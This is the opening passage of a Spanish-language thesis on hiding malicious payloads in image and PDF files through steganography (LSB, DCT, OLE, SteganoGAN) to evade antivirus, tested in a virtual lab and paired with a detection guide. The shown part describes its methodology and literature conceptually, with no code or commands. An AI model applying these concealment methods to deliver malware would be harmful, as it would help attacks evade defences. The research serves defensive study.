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RESUMEN

El presente trabajo presenta el disefio de ciberataques mediante técnicas de esteganografia
para insertar payloads maliciosos de forma encubierta. Se analizaron técnicas tradicionales
como avanzadas de la Esteganografia, su funcionabilidad, soporte de archivo entre otros,
destacando LSB, y DCT como técnicas tradicionales, OLE cémo técnica avanzada. A partir
de todo, se procede a crear tres payloads ocultos en archivos portadores como imagen PNG,
JPG y documento PDF, aplicado en escenarios controlados en sistema operativo Windows
10 y Linux Ubuntu. En cada entorno se simulo el proceso completo del ataque, la insercion
hasta la ejecucion del payload, documentando los resultados técnicos detallados sobre su
efectividad y evasion de mecanismos de seguridad. Los resultados permiten desarrollar
recomendaciones orientadas al fortalecimiento de la seguridad informatica frente este tipo de
amenazas. Como aporte final, se presenta una guia practica con estrategias de deteccion y
mitigaciéon de ataques esteganograficos con la finalidad de orientar, proporcionar

herramientas para su prevencion y control

Palabras Claves: Ciberataques, Esteganografia, Payloads maliciosos
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ABSTRACT

This study presents the design of cyberattacks using steganographic techniques to covertly
insert malicious payloads. Both traditional and advanced steganography methods were
analyzed, including their functionality and file format support. Traditional techniques such
as LSB and DCT were examined, as well as the advanced OLE technique. Based on this
analysis, three malicious payloads were created and hidden within carrier files such as PNG
and JPG images, and a PDF document. These were applied in controlled scenarios using
Windows 10 and Linux Ubuntu operating systems. In each environment, the full attack
process was simulated—from payload insertion to execution—while documenting detailed
technical results regarding their effectiveness and ability to evade security mechanisms. The
findings support the development of recommendations aimed at strengthening cybersecurity
against this type of threat. As a final contribution, a practical guide is presented with detection
and mitigation strategies for steganographic attacks, offering tools and guidance for both

prevention and control.

Keywords: Cyberattacks, Steganography, Malicious payloads
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INTRODUCCION

El mundo se encuentra mas interconectado y la proteccion de la informacion digital se ha
transformado en una prioridad critica tanto para las organizaciones como entes individuales.
Por lo cual, asi mismo como las tecnologias va innovando en defensas informaticas, también
se encuentran nuevas modalidades, métodos, situaciones y sobre todo nuevos actores
maliciosos para vulnerar sistemas. En el contexto, la esteganografia es conocida como una
herramienta poderosa no solo para proteger informacion clave, legitima y concisa, sino
también como un medio eficaz para camuflar amenazas cibernéticas, cuenta con la capacidad
de poder ocultar codigo malicioso en archivos inofensivos que representan un riesgo
significativo, especialmente al tratarse de tacticas avanzadas de ingenieria social y

explotacion de vulnerabilidades.

El uso malintencionado de la esteganografia ha ganado notoriedad debido a su efectividad
para evadir mecanismo de seguridad convencionales como es el caso de antivirus y sistemas
de analisis de trafico. Los delincuentes informaticos modernos utilizan este tipo de técnica
para ocultar payloads maliciosos a través de canales aparentemente inofensivos sin alterar la
data real del archivo. El enfoque de esta modalidad sigilosa no solo dificultad la
identificacion de vectores de infeccion, sino también cuenta con la prolongada permanencia
del atacante dentro del sistema comprometido, con el fin de realizar actividades ilegales como
el robo de informacion, control remoto de dispositivos o instalacion de puertas persistentes

traseras.

Por esta razon, el presente trabajo tiene como finalidad el estudio de técnicas de
esteganografia tradicional como avanzadas en el ambito de disefio de ataques informaticos
para mejorar la insercion de payloads maliciosos a través de los tipos de archivos como
imagenes y documentos. La utilizacion de laboratorios controlados permite la creacion de
escenarios con contexto reales que tendran la capacidad de evaluar el resultado final de la
insercion de payloads maliciosos con el uso de técnicas de esteganografia digitales con el fin
de observar su comportamiento, los sistemas que afectan, la parte sigilosa, y sobre todo las
tacticas esenciales de ingenieria social que permiten escalar privilegios y encontrar data

relevante muy crucial. Ademas, a través de la informacion y de los resultados se procede a



desarrollar informes a detalles que presentan el analisis pertinente del escenario de prueba y
establecer observaciones técnicas, y recomendaciones para mitigar estos eventos. Como
resultado final se entrega una propuesta de guia de buenas practicas enfocado a la estrategia

para detectar y mitigar ataques estenograficos en entornos empresariales y domésticos.

En la seccion I, se muestra a detalle de manera enfocada la problematica del uso
malintencionado de la esteganografia digital en ataques cibernéticos, que ponen en peligro
sistemas y activos de informacion cruciales de una organizacion o ente individual. Ademas,
también cuenta con el punto de establecer una solucion, por lo consiguiente, se halla los
antecedentes del proyecto, la descripcion, los objetivos del proyecto, la justificacion y el

alcance.

En la seccion 11, se localiza el marco referencial que justifique los aportes relacionados al
tema, el marco conceptual de las definiciones claves de investigacion el marco legal que
compete a las bases legales acorde a la proteccion de datos o seguridad de informacion, la
metodologia a seguir como pauta al seguimiento del proceso del proyecto, también cuenta

con lo que es la técnica de recoleccion de datos.

En la seccion 111, estd constituido con respeto a toda la propuesta del disefio del proyecto
desglosando en 4 fases como: fase de interaccidn, investigacion, intervencion y reporte.
Ademas, cuenta con la propuesta de guia de buenas practicas con estrategias para detectar y

mitigar ataques esteganograficos en entornos empresariales y domésticos.



CAPITULO 1

1. FUNDAMENTACION
1.1 ANTECEDENTES

El crecimiento exponencial de la tecnologia digital ha llevado consigo la proliferacion de
amenazas cibernéticas cada vez mas sofisticadas. Entre estas amenazas, la esteganografia ha
surgido como una técnica particularmente preocupante debido a su capacidad para ocultar
informacion maliciosa dentro de datos aparentemente inofensivos. Este fendmeno ha sido
impulsado por el aumento en la disponibilidad de herramientas y algoritmos de
esteganografia, asi como por la facilidad con la que los atacantes pueden acceder y utilizar

estas tecnologias [1].

La esteganografia se ha utilizado tanto en el ambito delictivo como en el de la seguridad, lo
que ha generado una creciente preocupacion entre los profesionales de la ciberseguridad. Por
un lado, los delincuentes emplean técnicas esteganograficas para eludir los sistemas de
deteccion tradicionales y ocultar payloads maliciosos dentro de archivos multimedia, como
imagenes o videos. Por otro lado, los defensores de la seguridad buscan desarrollar métodos

efectivos mitigar y detectar estas modalidades [2].

La investigacion propuesta por Raul Cuzo Naranjo, (2017), menciona como la investigacion
se propuso una modalidad esteganografica que combina la técnica LSB con el método
criptografico de César para optimar la seguridad en la transferencia de imagenes. Se
desarroll6 una aplicacion web en Java Netbeans para demostrar su efectividad. Los resultados
muestran un aumento del 80% en la seguridad en comparacién con otros métodos
esteganograficos. Se destaca la relevancia de seguir el estudio para promover medidas de

seguridad adecuadas al enviar mensajes dentro de imagenes [3].

La investigacion propuesta por Yuniel Guzman, Erodis Pérez y Alicia Fajardo, (2020),
comienza por mencionar el uso de técnicas estenograficas, que consisten en insertar
informacion confidencial en un medio, como imagenes, de manera imperceptible para los
intrusos. Sin embargo, cuando estas técnicas no consideran las areas adecuadas, pueden
afectar la calidad visual y la seguridad del mensaje incrustado. En respuesta a esta
problematica, se presenta un nuevo algoritmo estenografico que prioriza las zonas de alta

intensidad de la imagen para mejorar la imperceptibilidad y seguridad del estenograma. Este
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enfoque se evalua mediante métricas estandar y se compara con métodos previamente

propuestos en la literatura [4].

La investigacion propuesta por Denisse Del Pezo Magallanes (2023), se enfoca en analizar
la practica de la estenografia con fines delictivos, dentro del marco de los delitos
informaticos. Su objetivo es caracterizar esta modalidad delictiva mediante un enfoque
criminoldgico que considera aspectos técnicos, periciales y doctrinales. La investigacion
aborda el desconocimiento generalizado sobre estos delitos y destaca la necesidad de una
regulacion especifica para abordarlos. Se basa en metodologias que incluyen encuestas y
entrevistas para comprender el comportamiento criminal asociado con la estenografia y

proponer ajustes normativos [5].

Este panorama ha generado un progresivo beneficio para el estudio investigacion y desarrollo
de soluciones innovadoras para abordar los desafios planteados por la esteganografia en el
ambito informatico. Es fundamental comprender en profundidad los antecedentes y el origen
de este problema para disefiar estrategias efectivas que protejan la integridad y
confidencialidad de los sistemas y datos en un entorno digital cada vez mas complejo y

amenazante.
1.2 DESCRIPCION DEL PROYECTO

La implementacion de la esteganografia en el ambito tecnoldgico relacionado con
ciberataques se ha desarrollado como un método avanzado para la insercion encubierta de
cargas malintencionadas, permitiendo a los atacantes cibernéticos utilizar este saber
informatico para eludir los mecanismos deteccion maliciosa. Pese al avance de varias tacticas
defensivas en la ciberseguridad, la investigacion de estrategias ofensivas que utilicen nuevos

métodos de ocultacion continta siendo un campo poco investigado.

Para comprender de manera profunda la efectividad de los métodos de esteganografia en la
infiltracion de cargas maliciosas, es crucial realizar simulaciones controladas que repliquen
escenarios de ataque reales. Estas simulaciones permitirdn evaluar como la esteganografia
facilita la insercion encubierta de payloads maliciosos, destacando tanto sus fortalezas como
sus vulnerabilidades dentro del ciclo de ataque. Ademads, este enfoque proporcionara

informacion valiosa sobre como identificar y mitigar este tipo de amenazas, contribuyendo
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al desarrollo de estrategias de seguridad mas robustas y efectivas para proteger los sistemas

ante posibles ciberataques.

El presente tema cuenta como guia la metodologia Open Source Security Testing

Methodology Manual (OSSTMM).

Fase 1: Interaccion

o Configuracion de un laboratorio virtual seguro y controlado.
o Instalacion de herramientas especializadas como herramientas de analisis
forense, software de esteganografia avanzada y tradicional, y mecanismos de

seguridad.

Fase 2: Investigacion

o Indagar las técnicas avanzadas y tradicionales de esteganografia.

e Agrupar mediante parametros de clasificacién, como impacto, funcion, soporte,
diferencias y tipo de archivo.

o Comparar las técnicas en como afecta la insercion de payloads maliciosos en

archivos sin comprometer su integridad.

Fase 3: Intervencion

o Elaboracion de 3 payloads personalizados.

o Configuracion de los payloads con caracteristicas especificas para la prueba.

e Eleccion del tipo de archivo contenedor adecuado (JPG, PNG, PDF).

o Insercion del payload en el archivo mediante la técnica seleccionada (avanzados
como DeepStego, SteganoGAN, y tradicionales como LSB, DCT).

e Verificacion de la integridad del archivo tras la insercion.

o Comparacion visual y estructural del archivo antes y después de la insercion del

payload.



Fase 4: Reporte

e Pruebas de deteccion con antivirus comerciales y herramientas de analisis de
malware.

o Comparacion de la efectividad de las técnicas avanzadas y tradicionales.

1.3 OBJETIVOS

1.3.1 OBJETIVO GENERAL

Disefiar ciberataques aplicando técnicas avanzadas y tradicionales de esteganografia para
mejorar la insercion de payloads maliciosos, analizando su efectividad en la evasion de
mecanismos de seguridad mediante simulaciones en un laboratorio virtual para fortalecer las

defensas cibernéticas.

1.3.2 OBJETIVOS ESPECIFICOS

e Analizar las técnicas avanzadas y tradicionales de esteganografia para comprender su
estado, funcionamiento, impacto y diferencias en la insercion de payloads maliciosos.

e Aplicar técnicas de esteganografia para insertar payloads maliciosos y evaluar su
capacidad de evasion ante sistemas de deteccion.

e Simular ciberataques en un laboratorio virtual utilizando técnicas de esteganografia

para analizar su comportamiento en entornos controlados.

1.4 JUSTIFICACION DEL PROYECTO

En un mundo digital cada vez mas interconectado, la seguridad cibernética se ha convertido
en una preocupacion primordial para organizaciones y usuarios individuales. Con el creciente
uso de dispositivos moviles y la expansion de la infraestructura de Internet, las amenazas
cibernéticas evolucionan constantemente, y los atacantes se vuelven cada vez mas
sofisticados en sus métodos. Entre las técnicas de ocultamiento utilizadas, la esteganografia

ha emergido como una herramienta poderosa para disimular la insercion de payloads



maliciosos, lo que representa una amenaza critica para la seguridad de los sistemas

informaticos.

La esteganografia, que consiste en ocultar informacion dentro de otros tipos de datos (como
imagenes, archivos de audio o documentos), permite a los atacantes eludir sistemas de
deteccion y antivirus tradicionales. Aunque las técnicas tradicionales de esteganografia,
como el Least Significant Bit (LSB) y Discrete Cosine Transform (DCT), han sido
ampliamente utilizadas, las técnicas avanzadas, como DeepStego y SteganoGAN, han abierto

nuevas posibilidades en cuanto a la efectividad y la capacidad de evasion de los ciberataques.

La implementacion de estas técnicas de esteganografia para la insercion de payloads
maliciosos plantea un reto significativo para las defensas tradicionales de seguridad
cibernética. El ocultamiento de payloads maliciosos mediante esteganografia puede evadir
mecanismos de deteccion como sistemas antivirus, lo que incrementa el riesgo de que los

ciberataques sean exitosos y no sean detectados en las primeras etapas de propagacion.

Este proyecto se justifica en la necesidad urgente de entender cémo estas técnicas de
esteganografia pueden ser aplicadas de manera eficiente para disefar ciberataques. A través
de un laboratorio virtual controlado, serd posible simular escenarios reales y evaluar la
efectividad de las técnicas avanzadas y tradicionales de esteganografia en la insercion de
payloads maliciosos, contribuyendo asi al avance de modalidades de deteccion y mitigacion

de estos ataques.

El analisis detallado de las técnicas de esteganografia ayudard a identificar vulnerabilidades
en los sistemas de seguridad actuales, lo que a su vez permitira fortalecer las defensas
cibernéticas frente a ataques cada vez mas sofisticados. Ademas, proporcionar soluciones y
estrategias practicas permitird a las organizaciones implementar medidas mas eficaces para

protegerse contra los ciberataques que utilizan esta técnica de ocultamiento.

Por ende, la implementacion de soluciones tecnoldgicas avanzadas, protocolos de respuesta
agiles y programas de conciencia en seguridad cibernética son pasos criticos para hacer cara
a los retos planteados de la esteganografia en el panorama actual de la seguridad informatica.
Estas medidas son fundamentales para proteger la integridad de los sistemas y datos de un

mundo digital cada vez mas complicado y amenazante.



1.5 ALCANCE DEL PROYECTO

Este proyecto utilizdo un método experimental de investigacion para evaluar la eficacia de
diversas técnicas de esteganografia en la introduccion de cargas malintencionadas y su
habilidad para evadir sistemas de seguridad. A través de un disefio experimental organizado,
se pondran en préctica tanto técnicas sofisticadas, como DeepStego y SteganoGAN, como
técnicas convencionales, como el Bit Significant Least (LSB) y la Transformacion Discreta
de Cosina (DCT), disefiados especificamente para archivos en los formatos JPG, PNG y
PDF.6 Las evaluaciones se llevaran a cabo en un laboratorio virtual, facilitando la simulacion
de ataques sin poner en riesgo infraestructuras reales, asegurando de esta manera un ambiente

seguro y regulado.

El estudio se enfoco en la capacidad de estas técnicas para sortear mecanismos de seguridad
convencionales, como antivirus y sistemas de deteccion, sin profundizar en enfoques basados
en inteligencia artificial o heuristicas avanzadas. A través de este andlisis, se pretende obtener
datos medibles que permitan evaluar la eficacia de cada técnica, detectar vulnerabilidades en
los sistemas de seguridad y reforzar las estrategias de defensa cibernética, con el objetivo de

optimizar la proteccion frente a amenazas esteganograficas.

Adicionalmente, se desarrolla una guia de buenas practicas con estrategias para detectar y
mitigar ataques esteganograficos en entornos empresariales y domésticos. La estructura

propuesta para este documento es:

A\

Introduccion

Objetivo

Alcance

Evaluacion del impacto de cada técnica en la evasion de deteccion.
Discusion sobre las fortalezas y debilidades de cada método.
Estrategias para la deteccion de Ataques Esteganograficos
Estrategias para la mitigacion de Ataques Esteganograficos

Recomendaciones

vV V.V V V VYV V V¥V

Conclusiones



Fase 1: Interaccion

En esta etapa inicial se llevd a cabo la configuracion de un laboratorio virtual seguro y
controlado, disefiado para realizar pruebas sin afectar el entorno real. Se procede con la
instalaciéon de herramientas especializadas, incluyendo software de esteganografia tanto
avanzada como tradicional, herramientas de analisis forense digital y mecanismos de
seguridad necesarios para evitar fugas de informacion o contaminacion cruzada. Este entorno
permitira la ejecucion de pruebas de insercion y extraccion de payloads maliciosos de manera

controlada y repetible.

Fase 2: Investigacion

Se realizo una indagacion exhaustiva sobre las principales técnicas de esteganografia
utilizadas actualmente, tanto tradicionales (como LSB y DCT) como avanzadas (como
SteganoGAN y DeepStego). Las técnicas se clasifican segtn distintos pardmetros como su
impacto en el archivo original, funcidn principal (ocultamiento, cifrado, compresion), tipo de
archivo compatible (imagen, audio, video, documento), soporte técnico y diferencias
metodoldgicas. Posteriormente, se comparan estas técnicas en funcién de como afectan la
insercion de payloads maliciosos, evaluando si comprometen o no la integridad visual,

estructural y funcional de los archivos.

Fase 3: Intervencion

En esta fase se desarrollan tres payloads personalizados, disefiados con caracteristicas
especificas para simular distintos tipos de amenazas. Se configuran de acuerdo con el tipo de
contenido a ocultar y el nivel de evasion deseado. A continuacion, se seleccionan las técnicas
de esteganografia a utilizar, tanto tradicionales como avanzadas, y se eligen archivos
contenedores adecuados (imdgenes JPG o PNG, y documentos PDF). Se procede con la
insercion de los payloads utilizando las herramientas correspondientes, verificando la
integridad y funcionalidad del archivo posterior a la modificacion. Ademas, se realiza una
comparacion visual, binaria y estructural entre los archivos originales y los modificados,

buscando identificar posibles alteraciones perceptibles o detectables.



Fase 4: Reporte

La fase final consiste en la evaluacion de la efectividad de las técnicas utilizadas. Se somete
cada archivo modificado a pruebas de deteccion mediante antivirus comerciales y
herramientas de andlisis de malware. Se registran los resultados obtenidos y se analizan los

patrones de deteccion y evasion.

1.6 METODOLOGIA DEL PROYECTO

1.61 METODOLOGIA DE INVESTIGACION

El método exploratorio en este proyecto tiene como objetivo analizar un tema relativamente
poco conocido y con escasa informacion detallada, en este caso, las técnicas de
esteganografia aplicadas a la insercion de payloads maliciosos. Dado que este tema implica
el uso de métodos avanzados y tradicionales para ocultar codigo malicioso en archivos, la
investigacion se adentra en un campo con poco desarrollo formal en el dmbito de la

ciberseguridad [6].

Para abordar este tema, se adoptd una investigacion cualitativa, centrada en comprender las
percepciones, experiencias y comportamientos de los sistemas de seguridad frente a ataques
esteganograficos. Esto incluird un analisis de las fortalezas y debilidades de los métodos
tradicionales y avanzados, con especial énfasis en su impacto en la evasion de antivirus. Se
consideraran datos obtenidos a través de simulaciones en un laboratorio virtual controlado,

con el fin de identificar patrones y tendencias relacionadas con la eficacia de estas técnicas

[7].

Adicionalmente, la investigacion se desarrollard mediante una revision bibliografica
exhaustiva que recopilo conocimientos y técnicas relacionadas con la esteganografia aplicada
al campo de la ciberseguridad. Esta revision sirvié como base para el andlisis comparativo
de las técnicas estudiadas y facilitara el entendimiento del estado actual de estas

metodologias.
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La investigacion cuenta con un alcance que se considera descriptivo, ya que se buscara
detallar las diferentes técnicas de esteganografia, tanto tradicionales como avanzadas,
evaluando su efectividad en la insercion de payloads maliciosos. El enfoque estard en
proporcionar una descripcion clara y completa de las herramientas y metodologias utilizadas
para esconder codigo malicioso en archivos, explicando su funcionamiento, aplicaciones y
limitaciones dentro de un entorno controlado. Ademas, se exploro la capacidad de estas
técnicas para evadir las defensas cibernéticas convencionales, identificando oportunidades

para fortalecer las estrategias de seguridad en sistemas informaticos [8].

1.6.2 VARIABLES DEL ESTUDIO

Variable Independiente: Técnicas de Esteganografia utilizadas en la insercion de payloads

maliciosos.

Variable Dependiente: Eficiencia de deteccion de los payloads maliciosos embebidos en

archivos esteganografiados.

1.6.3 HIPOTESIS
La implementacion de técnicas de esteganografia en la insercion de payloads maliciosos

aumenta la tasa de evasion de los mecanismos de deteccion, dificultando la identificacion y

respuesta ante ciberataques.

1.6.4 TECNICAS DE RECOLECCION DE INFORMACION
% Técnicas
Estado del arte, entrevista, fuentes bibliograficas

% Instrumentos

En esta investigacion, las entrevistas se emplearan como herramienta principal de
recoleccion de datos. Se disefio una guia de entrevista flexible, se seleccionaran
participantes expertos en seguridad informatica, y se llevardn a cabo entrevistas
individuales para obtener perspectivas detalladas sobre el uso de algoritmos y
librerias de esteganografia con propositos ofensivos. Las entrevistas seran grabadas
con el consentimiento del participante y luego analizadas cualitativamente para
identificar temas clave y tendencias.
++ Poblacion

Entrevista Expertos del area de ciberseguridad/hacking ético
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1.6.5 METODOLOGIA DE DESARROLLO DEL PROYECTO

El OSSTMM, desarrollado por ISECOM, es una metodologia solida y metddica enfocada en
el analisis, evaluacion y cuantificacion de la seguridad en las operaciones. Este esquema
metodoldgico ofrece un marco definido para realizar auditorias técnicas de seguridad,
garantizando uniformidad y repetibilidad en su implementacion. Al fundamentarse en un
modelo de codigo abierto, fomenta la cooperacion de expertos del campo que aportan a la
mejora continua de los procesos de evaluacion, lo que resulta en analisis mas exactos y
eficientes. Ademads, su naturaleza libre facilita la difusion gratuita del contenido sin

restricciones legales vinculadas a la propiedad intelectual. [9].

Fase 1: Interaccion: En esta fase se llevara a cabo una recopilacion de informacién clave
sobre las técnicas de esteganografia avanzadas y tradicionales. Se realizaran entrevistas con
expertos en seguridad informatica y hacking ético, con el fin de obtener opiniones y
perspectivas sobre el uso de estas técnicas en ciberataques. Ademads, se investigaran los
algoritmos y librerias utilizadas para la creacion de payloads maliciosos, recopilando
informacion de articulos cientificos, tesis y sitios web especializados. El objetivo es tener
una vision integral sobre las herramientas y métodos de ocultacion disponibles en los

diferentes formatos de archivo, como JPG, PNG y PDF.

Fase 2: Investigacion: Durante esta fase, los algoritmos y librerias recopilados en la fase
anterior seran agrupados y categorizados segun sus caracteristicas, usos, métodos de
ocultacion y fortalezas o debilidades. Se procedera a desarrollar los payloads maliciosos
especificos para su insercion en archivos seleccionados. Estas pruebas de intrusion permitiran
evaluar la viabilidad de cada técnica y algoritmo en un entorno controlado, con el fin de

establecer un marco para la siguiente fase experimental.

Fase 3: Intervencion: En la fase de intervencion, se realizard la insercion de los payloads en
los archivos utilizando las técnicas de esteganografia seleccionadas. Estas pruebas se
realizardn tanto en entornos simulados como reales para evaluar la capacidad de evasion de

los sistemas de deteccion y la furtividad de los payloads. Se recopilaran datos y evidencia
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sobre la efectividad de las técnicas para ocultar informacion maliciosa, asi como la capacidad

de los sistemas de seguridad para detectar los ataques.

Fase 4: Reporte: Una vez realizadas las pruebas y recopilada la informacion necesaria, se
procedera a la fase de reporte. En este apartado se presentara una introduccion sobre el tema
y los objetivos de la investigacion, seguida del analisis de los resultados obtenidos. Se
evaluaran las fortalezas y debilidades de las técnicas de esteganografia utilizadas en la
insercion de payloads, y se propondran recomendaciones sobre como mejorar las estrategias
de defensa cibernética frente a este tipo de ataques. También se discutirdn observaciones

técnicas clave sobre la efectividad de las técnicas probadas en el entorno controlado y real.
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CAPITULO 11

2. MARCO REFERENCIAL
2.1 MARCO CONTEXTUAL

La estenografia es una técnica que permite ocultar informacion internamente de archivos
digitales como imagenes, audio o video, de manera que no sea perceptible para un observador
casual. Se utiliza con fines legitimos, como la proteccion de datos sensibles, como también
puede ser usado para propodsitos maliciosos, como la ocultacion de malware o la

comunicacion clandestina [10].

El objetivo de la investigacion sobre algoritmos y librerias de estenografia es comprender y
evaluar las técnicas actuales para detectar informacion oculta. La identificacion de vectores
de estenografia implica reconocer los diferentes métodos y recursos que se pueden usar para
ocultar informacion, ya sea a nivel de archivos, protocolos de comunicacion o sistemas de
almacenamiento. Estas nuevas habilidades de insercién de paquetes maliciosos tienen como
objetivo principal escapar de los sistemas de seguridad y realizar acciones ilegales como el

robo de informacion o el control remoto de sistemas informaticos.

La esteganografia se emplea como método para infiltrar malware escondiendo partes del
software en archivos de imagen. Se consigue esto dividiendo el cédigo malintencionado en
bytes y dispersandolos entre la informacion de la imagen digital. Las iméagenes, formadas
por pixeles representados por 24 bits, facilitan la modificacion del bit menos significativo
(LSB) de cada pixel, lo que posibilita la insercion de datos sin provocar alteraciones
perceptibles en la imagen. Esta técnica es casi imperceptible para el ojo humano, pero eficaz
para ocultar informacion. Es esencial que los creadores de formatos multimedia fortalezcan
sus productos para evitar este tipo de riesgos digitales debido al aumento en el uso de estos

ataques. [11].

Por otro lado, la insercidon de payloads con propositos ofensivos a través de esteganografia
plantea desafios adicionales para la seguridad informadtica. Los atacantes pueden utilizar
técnicas de esteganografia para ocultar malware, exploits o comandos maliciosos dentro de
archivos aparentemente inofensivos, lo que les permite eludir las defensas tradicionales y

comprometer sistemas de manera sigilosa. La investigacion en este campo busca entender
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como los atacantes pueden aprovechar la esteganografia con fines maliciosos y desarrollar

contramedidas efectivas para detectar y neutralizar estas amenazas.
2.2 MARCO TEORICO

2.2.1 Estudio de Algoritmos de IA aplicables al estegeoanalisis de imagenes Digitales
En esta tesis de maestria, se aborda la relevancia de la esteganografia y el estegoanalisis en
el contexto de la seguridad de la informacion. Se destaca que la esteganografia tiene como
objetivo principal ocultar datos en objetos de manera discreta, mientras que el estegoanalisis

se enfoca en identificar los objetos que han sido modificados con informacion oculta.

El enfoque principal del proyecto consiste en desarrollar un método que permita generar sub-
imagenes con el fin de maximizar la capacidad de ocultamiento del mensaje. Posteriormente,
se procede a realizar la extraccion de caracteristicas de alta dimension de estas sub-imagenes.
Finalmente, se emplea un clasificador binario para discernir entre imagenes limpias e
imagenes que han sido modificadas con datos ocultos. Se han seleccionado dos algoritmos
ampliamente utilizados en esteganografia, HILL y WOW, para evaluar el rendimiento del
método propuesto con diferentes cargas utiles. Los resultados obtenidos muestran una
eficacia comparable al enfoque SRM descrito en la literatura especializada principio del

formulario [12].

2.2.2 [Esteganografia como herramienta de Ransomware

Este articulo presenta un analisis detallado sobre el uso de la esteganografia como una técnica
efectiva para ocultar ransomware en imagenes, haciéndolas indetectables para los modernos
sistemas antivirus. A través de experimentos en un entorno controlado, se pudo confirmar la
viabilidad de esta técnica para ocultar archivos maliciosos y la potencial amenaza para la
seguridad de la informacion. Los resultados obtenidos muestran que los sistemas antivirus
convencionales no son capaces de detectar la presencia de ransomware u otros archivos
maliciosos ocultos en imagenes. Esto resalta la eficacia de la esteganografia como una

herramienta de evasion en ataques contra sistemas y redes informaticas [13].

Este estudio contribuye al entendimiento de la viabilidad y las potenciales amenazas

representadas por la esteganografia en la ocultacion de ransomware en imagenes. Se subraya
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la necesidad de desarrollar nuevos métodos de prevencion, deteccion y proteccion para

salvaguardar los sistemas y los datos sensibles de una organizacion.

2.2.3 Esteganografia y ocultacion de informacion aplicadas a bibliotecas

Este trabajo, que constituye una tesis de maestria, tiene como objetivo validar la efectividad
de la Esteganografia, un campo de estudio que analiza las opciones para ocultar datos en un

medio especifico llamado estegoobjeto, dentro del ambito de las bibliotecas digitales.

Las instituciones bibliotecarias, que incluyen a depositarios de derechos de autor, entidades
publicas, asociaciones, entre otros, podrian enfrentar el riesgo de infraccion legal por parte
de usuarios malintencionados o sin conocimiento de los derechos asociados a los archivos
digitales, quienes podrian publicarlos en linea sin reconocer su estatus como objetos
protegidos por derechos. La Esteganografia ofrece la capacidad de ocultar datos, ya sean
imagenes, audios, videos o documentos web, mediante marcas de agua invisibles en estos
archivos, lo que dificulta su extraccion sin danar el archivo o emplear técnicas avanzadas de
estegoanalisis, una disciplina que busca identificar la presencia de informacion oculta en los
archivos. Para corroborar la efectividad de esta técnica, se utilizan programas especializados

que aseguran la ocultacion de datos [14].

2.3 MARCO CONCEPTUAL

2.3.1 CIBERSEGURIDAD

La ciberseguridad es el area dedicada a proteger los sistemas de computacion, redes y datos
de accesos no autorizados, amenazas digitales y posibles perjuicios. Su objetivo principal es
mantener la privacidad, la integridad y la disponibilidad de la informacion a través de técnicas
como el cifrado, la autenticacion y los cortafuegos. Esta especialidad engloba diversas areas,
tales como la seguridad informatica, la proteccion de ambientes en la nube, el analisis forense
digital y los ensayos de penetracion. En un contexto crecientemente digital, su aplicacion es
vital para lidiar con amenazas como el phishing, el ransomware y el empleo malintencionado

de la esteganografia. [15].
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2.3.2 AMENAZAS AVANZADAS

Las Amenazas Avanzadas son ataques altamente sofisticados que utilizan técnicas avanzadas
de evasion para infiltrarse en sistemas sin ser detectados. Estas amenazas incluyen APT
(Advanced Persistent Threats), que son ataques dirigidos y prolongados con el objetivo de
robar datos sensibles o sabotear sistemas. Se diferencian de los ataques comunes porque
emplean multiples vectores, como ingenieria social, exploits de dia cero y esteganografia
para ocultar payloads. Las empresas y gobiernos son sus principales objetivos, y requieren

defensas avanzadas como deteccion de anomalias e inteligencia artificial [16].

2.3.3 TIPOS DE CIBERATAQUES MODERNOS

PHISHING Y SPEAR PHISHING - CIBERATAQUES

Estas estrategias de ataque tienen como finalidad manipular a los usuarios para que
proporcionen informacion sensible, como contrasefias o datos bancarios. En el caso del
phishing convencional, los delincuentes envian correos electrénicos engafiosos o disefian
paginas web falsas con el fin de suplantar entidades legitimas. En cambio, el spear phishing
se caracteriza por ser un ataque mas personalizado, en el que los atacantes recopilan
informacion especifica sobre la victima para lograr un engafio mucho mas convincente y

efectivo. [17].

RANSOMWARE

El ransomware es un tipo de malware que bloquea el acceso a los archivos o sistemas de una victima
mediante cifrado, exigiendo un rescate para su liberacion. Este ataque se propaga comunmente a
través de correos electronicos maliciosos, descargas de software infectado o vulnerabilidades en
sistemas desactualizados. En muchos casos, incluso si la victima paga el rescate, no hay garantia de

recuperar los archivos [18].

INGENIERIA SOCIAL — CIBERATAQUES

La ingenieria social es una técnica que explota la confianza y la psicologia humana para

obtener informacion confidencial o acceso no autorizado. A diferencia de otros ataques que
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dependen de vulnerabilidades técnicas, la ingenieria social manipula a las personas para que
realicen acciones que comprometan la seguridad de un sistema. Entre sus variantes estan el
pretexting (creacion de escenarios falsos para obtener informacion), el baiting (ofrecimiento
de archivos o dispositivos infectados como gancho) y el vishing (fraudes a través de llamadas

telefonicas) [19].

ADVANCED PERSISTENT THREATS (APT)

Los Advanced Persistent Threats (APT) son ataques altamente sofisticados y prolongados en
el tiempo, generalmente realizados por actores con gran capacidad técnica, como grupos
patrocinados por estados. Estos ataques buscan infiltrarse en sistemas criticos sin ser
detectados, utilizando técnicas como exploits de dia cero, esteganografia y puertas traseras

(backdoors) para mantener el acceso a largo plazo [20].

ATAQUES MEDIANTE ESTEGANOGRAFIA DIGITAL

La esteganografia digital es una técnica avanzada utilizada para encubrir data en formatos de
archivos aparentemente inofensivos, como imagenes, videos o documentos. Esta técnica es
empleada tanto para propositos legitimos (proteccion de datos, marcas de agua digitales)
como para fines maliciosos, como la ocultacion de malware o la exfiltracion encubierta de
datos. Debido a que la esteganografia no altera visiblemente el archivo portador, su deteccion

es un desafio para los sistemas de seguridad convencionales [21].

DENEGACION DE SERVICIO DISTRIBUIDA (DDOS)

Es una técnica muy conocida, debido que tiene como objetivo abrumar servidores y sistemas
en linea mediante un alto volumen de trafico falso, haciéndolos inaccesibles para los usuarios
legitimos. Para llevar a cabo estos ataques, los ciberdelincuentes suelen utilizar botnets, redes

de dispositivos comprometidos que generan trafico malicioso de manera coordinada [22].

2.3.4 ESTEGANOGRAFIA EN CIBERSEGURIDAD

La estenografia, también conocida como taquigrafia, es un fascinante campo que se adentra
en el arte de transcribir discursos o melodias a la misma velocidad a la que se emiten los

sonidos. A través de signos y abreviaturas, la estenografia permite capturar palabras y frases
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con una eficiencia sorprendente. En esta exploracion, se abordan los origenes historicos, las

diversas aplicaciones y las técnicas empleadas en esta disciplina Unica.

Se examina cémo la estenografia ha innovado crecido para cumplir las necesidades del
mundo tecnoldgico y como continta siendo una herramienta valiosa en diversos ambitos,
desde la toma de apuntes en conferencias hasta la transcripcion de testimonios en tribunales

[23].

La esteganografia y la criptografia son técnicas utilizadas para proteger la informacién, pero
